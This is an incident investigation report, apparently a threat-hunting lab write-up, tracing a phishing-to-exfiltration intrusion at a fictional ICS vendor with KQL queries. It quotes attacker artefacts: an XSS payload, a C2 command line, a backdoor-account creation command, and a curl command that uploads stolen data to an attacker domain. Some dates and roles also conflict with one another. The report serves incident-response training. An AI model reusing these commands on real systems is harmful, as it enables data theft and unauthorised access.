Incident Investigation Report: Operation DOCKSHOCK

Target Organization: Solvi Systems
Investigated By: Joshua Berkoh (Security Analyst II)
Date of Report: June 23, 2026
Incident Window: May 1, 2024 – May 28, 2024

1. Executive Summary

During May 2024, a highly sophisticated, multi-stage supply chain espionage campaign was detected and triaged targeting **Solvi Systems**. Solvi Systems develops the **DOCKS Industrial Control Systems (ICS)** software, which governs energy distribution across South Africa, Mozambique, Eswatini, Zimbabwe, and Namibia.

The threat actor initially conducted perimeter web reconnaissance and cross-site scripting (XSS) probing before pivoting to a wide-scale spear-phishing campaign. The attack successfully achieved initial access on an administrative endpoint, established persistent command and control (C2) beaconing via a customized backdoor (ecobug.exe), elevated privileges to add local administrators, and moved laterally to an engineering-adjacent asset. The incident culminated in the targeting of the Software Development Lifecycle (SDLC) repository, unauthorized access to the internal development portal, and the exfiltration of sensitive product blueprints (CollectedData.zip) to an adversary-controlled API node via curl.

2. Incident Timeline

[May 01, 00:00 UTC] —— Initial automated reconnaissance of DOCKS product documentation begins.
[May 01, 15:51 UTC] —— Phishing email delivered to Sales Rep Carla Wharton.
[May 01, 15:57 UTC] —— User executes link; `ecobug.exe` payload successfully dropped.
[May 01, 17:38 UTC] —— C2 persistence established (Outbound beaconing over TCP/1337).
[May 02, 16:50 UTC] —— Privilege Escalation: Backdoor admin account `gu@rd!an` created.
[May 27, 16:23 UTC] —— Lateral Movement: Compromise of Alexei Petrov's engineering host.
[May 27, 16:45 UTC] —— Data Staging: Core SDLC and DOCKS system source code compressed.
[May 28, (Subsequent)]— Data Exfiltration: `CollectedData.zip` exfiltrated via curl web POST.

3. Technical Walkthrough & KQL Proofs

Phase 1: Baseline Assessment & Perimeter Triage

The investigation initiated with an environment baseline analysis. The corporate headcount was validated at **500 employees**, and the core executive profile for Chief Technology Officer (CTO) Alexis Khoza was mapped out to identify potential high-value targeting.

Code snippet
// Query 1: Identifying the target profile of the CTO
Employees
| where role == "CTO"

[SCREENSHOT PLACEHOLDER: Result showing Alexis Khoza, IP 10.10.0.7, hostname 7FVW-LAPTOP, and user agent profile]

Code snippet
// Query 2: Quantifying inbound communications to the executive tier
Email
| where recipient == "alexis_khoza@solvisystems.com"
| count

Result: 31 inbound emails identified. Baseline network profiling also revealed that the threat actor was aggressively monitoring the domain, hunting for organizational context surrounding the docks-ics product string.

Phase 2: Web Exploitation Analysis (WAF Deflection)

On May 3, 2024, the Web Application Firewall (WAF) triggered a High-severity alert indicating an inbound Cross-Site Scripting (XSS) exploit attempt on the corporate feedback portal.

```
Code snippet
// Query 3: Isolating the WAF payload footprint in web logs
InboundNetworkEvents
| where url contains "alert"
| project timestamp, src_ip, user_agent, url, status_code
```

[SCREENSHOT PLACEHOLDER: Inbound event from 13.201.46.208 showing the 404 error code and Opera/8.64 user agent strings]

- **Attacker Payload:** </script><script>alert('xss')</script>
- **WAF Mitigation Status: Deflected**. The web server responded with a **404 Status Code**, preventing script execution.
- **Attacker User Agent:** Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00

Expanding the search window around this user agent exposed a cluster of **4 malicious IP addresses** (98.117.26.236, 13.201.46.208, 105.78.23.64, 56.6.30.190) executing **9 distinct exploitation requests** across a multi-day window. Passive DNS correlation mapping these IPs revealed 3 rogue domains staged for secondary deployment:

1. energy-trends4u.net
2. news-on-industry.com
3. eco-awareness-update.net

Phase 3: Initial Access via Spear-Phishing

Deflected at the web perimeter, the adversary pivoted to a targeted phishing campaign. Over 56 malicious emails were distributed across the network, specifically targeting roles managing the utility software tier.

```
Code snippet
// Query 4: Correlating adversary infrastructure to weaponized emails
let actor_ips = pack_array("98.117.26.236","13.201.46.208","105.78.23.64","56.6.30.190");
let adv_domains = PassiveDns | where ip in (actor_ips) | distinct domain;
Email
| where link has_any (adv_domains)
| order by timestamp asc
```

[SCREENSHOT PLACEHOLDER: Chronological table of phishing deliveries highlighting the first success to Carla Wharton]
The patient zero entry vector occurred on **May 1, 2024, at 15:51:41 UTC**. Carla Wharton (cawharton), a Sales Representative on host JUSP-LAPTOP, received a weaponized lure:

- **Sender:** news@eco-awareness-updates.net (Reply-To: electric_updates@gmail.com)
- **Subject:** [EXTERNAL] Business Opportunity: Two major energy companies merging
- **Lure Link:** http://news-on-industry.com/search/online/files/public/Energy_Industry_Trends_2024_4_Solvi.docx

At **15:57:41 UTC**, endpoint records confirm that the user executed the link. Within less than two minutes, a compilation macro dropped a standalone malicious payload onto the filesystem:

- **Path:** C:\ProgramData\ecobug.exe
- **SHA256 Hash:** 1c3ef0407d5714037504c52f7abfa86c081fd7a021b52e2abe8a669f92413252

Phase 4: Command & Control (C2) & Local Persistence

At **17:38:25 UTC**, ecobug.exe initiated its outbound connection architecture to stabilize access.

Code snippet

```
// Query 5: Identifying the C2 execution telemetry on the host
ProcessEvents
| where hostname == "JUSP-LAPTOP" and process_name == "cmd.exe"
| where process_commandline contains "ecobug.exe"
```

[SCREENSHOT PLACEHOLDER: Process log detailing the ecobug.exe execution string with dest and port flags]

- **C2 Command Line:** ecobug.exe --timeout 6000 --dest 98.117.26.236 --port 1337
- **Beaconing Signature:** The malware operated on a strict automated cadence, initiating an outbound connection over **TCP Port 1337** exactly **1 time per day at 17:38:25**.
- **Scope of Compromise:** Expanding the beacon signature across the enterprise revealed **470 total persistent connections** impacting **38 unique employee endpoints**.

Privilege Escalation Block

Once active on JUSP-LAPTOP, the threat actor spawned localized commands to create an access bridge, provisioning a permanent local administrator backdoor:

Plaintext
net users /add gu@rd!an abc1toothree

Following account creation, local asset discovery was conducted, concluding with the execution of the net use utility to parse mounted domain assets.

Phase 5: Lateral Movement & SDLC Data Exfiltration

Using an identified variation in execution habit (net use /PERSISTENT:YES), the adversary moved laterally across the network segment on **May 27, 2024, at 16:23:10 UTC**, successfully compromising SJ9V-MACHINE. This host belonged to **Alexei Petrov**, the **Docks Customer Success Manager**.
The adversary immediately targeted the file share holding the core source configuration blueprints for the DOCKS ICS system:

Code snippet
// Query 6: Tracking file accumulation and staging actions
ProcessEvents
| where hostname == "SJ9V-MACHINE" and process_commandline contains "Copy-Item"

[SCREENSHOT PLACEHOLDER: The full PowerShell string copying network assets down to the local C:\ drive staging folder]

- **Data Scrape Command:** Copy-Item -Path \\solvisystems.com\SharedDocs\SoftwareDevelopment\CycleDocuments* -Destination C:\Users\alpetrov\CollectedData\Software_Cycle_Docs

The stolen contents were compressed locally into a single staging zip file titled **CollectedData.zip**. Concurrently, the attacker compromised three distinct internal accounts to browse the developer intranet (**devportal.solvisystems.com**) and read the internal_process.pdf deployment documentation. The adversary even used compromised mailboxes to distribute phishing messages internally under urgent security headings (Urgent Request: DOCKS System Documentation 🚨) to gather structural details.
On **May 28, 2024**, the adversary leveraged a raw web utility to bypass standard file transfer protocol tracking and exfiltrated the source blueprint archive directly over an encrypted web endpoint:

Code snippet
// Query 7: Catching the final data exfiltration process command
ProcessEvents
| where process_commandline contains "curl" and process_commandline contains "upload"

[SCREENSHOT PLACEHOLDER: Curl command executing the file POST wrapper to api.eco-awareness-update.net]

- **Exfiltration Command Line:** curl -F 'file=@C:\DataExfil\CollectedData.zip' https://api.eco-awareness-update.net/upload

4. Strategic Defense & Mitigation Recommendations

Based on the multi-layer tactical breakdown of **Operation DOCKSHOCK**, the following Tier-2 defense architecture changes are mandated for deployment:

1. **Network Architecture Micro-Segmentation (IT/OT Defenses):**
   Implement explicit network boundaries isolating the engineering software compilation zone (devportal.solvisystems.com and SharedDocs) from general corporate sales and operations tiers. Inter-zone file transfers must be gated behind multi-factor authorization proxies.
2. **Strict Egress Application Whitelisting:**
   Block all outbound perimeter egress over arbitrary high ports (such as TCP/1337). Restrict command-line web automation utilities like curl and Invoke-WebRequest on user endpoints through AppLocker or an equivalent Endpoint Detection and Response (EDR) policy to halt automated exfiltration pipelines.
3. **Local Administrator Restriction & Account Creation Monitoring:**
   Enforce a strict Local Administrator Password Solution (LAPS) framework. Deploy a high-severity alert rule in the SIEM targeting any localized command invocation containing the net user /add or localgroup administrators strings.
4. **Credential Reset & Active Session Invalidation:**
   Force an immediate enterprise-wide password and active-session token reset for all compromised users (e.g., Carla Wharton, Alexei Petrov) and decommission the rogue local administrative profile gu@rd!an across all 38 impacted endpoints.